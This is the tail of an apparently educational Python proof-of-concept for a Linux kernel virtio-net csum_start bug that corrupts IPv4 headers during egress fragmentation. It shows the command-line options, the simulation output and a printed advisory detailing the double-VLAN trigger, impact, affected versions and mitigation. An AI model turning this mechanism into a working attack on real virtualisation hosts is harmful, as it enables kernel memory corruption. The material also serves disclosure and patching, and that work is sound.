        print(f"  Simulation complete - csum_offset={csum_offset} path modelled.")
        print(f"  VULNERABLE kernel: IPv4 byte {ip_off} ({fn}) is overwritten,")
        print("  causing the kernel to act on corrupted metadata.")
        print("  STATUS: hypothesis only - not executed against a live kernel.")
        print("  PATCHED kernel:    ip_check_csum_start() rejects the write.")
        print("  NOTE: the measured path is --csum-offset 0.")
    print("=" * 72)


# ── Entry Point ──────────────────────────────────────────────────────────────

def main() -> None:
    parser = argparse.ArgumentParser(
        description="CVE-2026-99999 (PwnEscape) educational PoC — "
                    "IPv4 csum_start corruption in egress fragmentation",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""EXAMPLES
  IHL corruption path (measured on v100, default):
    python3 CVE-2026-99999_pwnescape.py --simulate
    python3 CVE-2026-99999_pwnescape.py --simulate -n 1

  Flags/FragOffset corruption path (fragment reassembly disruption):
    python3 CVE-2026-99999_pwnescape.py --simulate -n 1 -c 6

  More packets / fragments:
    python3 CVE-2026-99999_pwnescape.py --simulate -n 5 -f 8"""
    )
    parser.add_argument('--simulate', action='store_true',
                        help='Run exploit chain simulation (no network, no root)')
    parser.add_argument('-c', '--csum-offset', type=int, default=0,
                        help='csum_offset: 0=IHL byte (measured path, default); '
                             '6=Flags/FragOffset (hypothesis, not run on a live kernel)')
    parser.add_argument('-n', '--num-packets', type=int, default=3,
                        help='Number of datagrams to simulate (default: 3)')
    parser.add_argument('-f', '--fragments', type=int, default=4,
                        help='Fragments per datagram, min 2 (default: 4)')

    args = parser.parse_args()

    if not args.simulate:
        # Print educational vulnerability description and exit
        print("""
═══════════════════════════════════════════════════════════════════════════════
  CVE-2026-99999 (PwnEscape)
  Linux Kernel IPv4 csum_start Validation — Egress Header Corruption
  CVSS 9.3 CRITICAL | CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  Discovered by Paulos | CNA: kernel.org | Published 2026-10-15
═══════════════════════════════════════════════════════════════════════════════

VULNERABILITY DESCRIPTION
  virtio_net_hdr carries csum_start as an offset from the START OF THE FRAME.
  The ingress check (__virtio_net_hdr_to_skb) only requires
  skb_transport_offset >= 20, so a value that does not point at the transport
  header is still accepted.  With a single Ethernet tag, a real IPv4 frame
  starts at 14 and is rejected (-EINVAL).  With TWO VLAN tags the IPv4 header
  starts at 22 and is accepted; after VLAN decapsulation the data pointer
  moves but csum_start does not, so in the IPv4 EGRESS FRAGMENTATION path
  (ip_do_fragment -> skb_checksum_help) the 16-bit checksum result is written
  into the IPv4 header itself.

  This corrupts the IP header: when the written byte0 is 0x4F, IHL changes
  from 5 (20 bytes) to 15 (60 bytes).  ip_do_fragment() then copies a 60-byte
  header, shifting the payload by 40 bytes and producing misaligned fragments.
  A 32-byte over-read past skb_headlen has been measured, but every read byte
  was ZERO: no information disclosure was observed.

ATTACK SURFACE
  KVM/QEMU virtualisation hosts with virtio-net + TAP bridging, or any
  environment where a TAP/virtio-net sender can supply raw frames plus a
  virtio_net_hdr to the host stack.  The guest-to-host path itself is NOT
  verified; the v100 reproduction injected frames on a TAP device.

IMPACT
  Measured: IPv4 header corruption and 40-byte payload misalignment in egress
  fragments (30/30 fragments with ver_ihl=0x4F).
  NOT verified: host-kernel memory disclosure (the 32 over-read bytes were
  zero), denial of service, or privilege escalation / escape.

AFFECTED KERNEL VERSIONS
  Introduced by f43798c27684 (2008, v2.6.27).
  Affected: 2.6.27 <= version < matching fixed release.
  Fixed: 5.10.272+, 5.15.223+, 6.1.190+, 6.6.159+, 6.12.113+, 6.18.57+,
         7.2.11+, 7.3.

THIS POC
  This tool demonstrates the attack chain locally (no network, no root):
    python3 CVE-2026-99999_pwnescape.py --simulate        (IHL corruption, default)
    python3 CVE-2026-99999_pwnescape.py --simulate -c 6  (Flags/FragOffset, hypothesis)

MITIGATION
  Apply kernel security patches (kernel.org stable trees).
  Upgrade to 5.10.272 / 5.15.223 / 6.1.190 / 6.6.159 or later.

REFERENCES
  CVE record: https://www.cve.org/CVERecord?id=CVE-2026-99999 (NVD has no entry)
  Fix commit: 6785011f8b16abf40b1e9d8b2e332232b3e68822
  LKML: Michael S. Tsirkin <mst@redhat.com> patch series

DISCLAIMER
  This tool is for authorised security research in isolated lab environments
Showing 500 of 518 lines View full file on GitHub →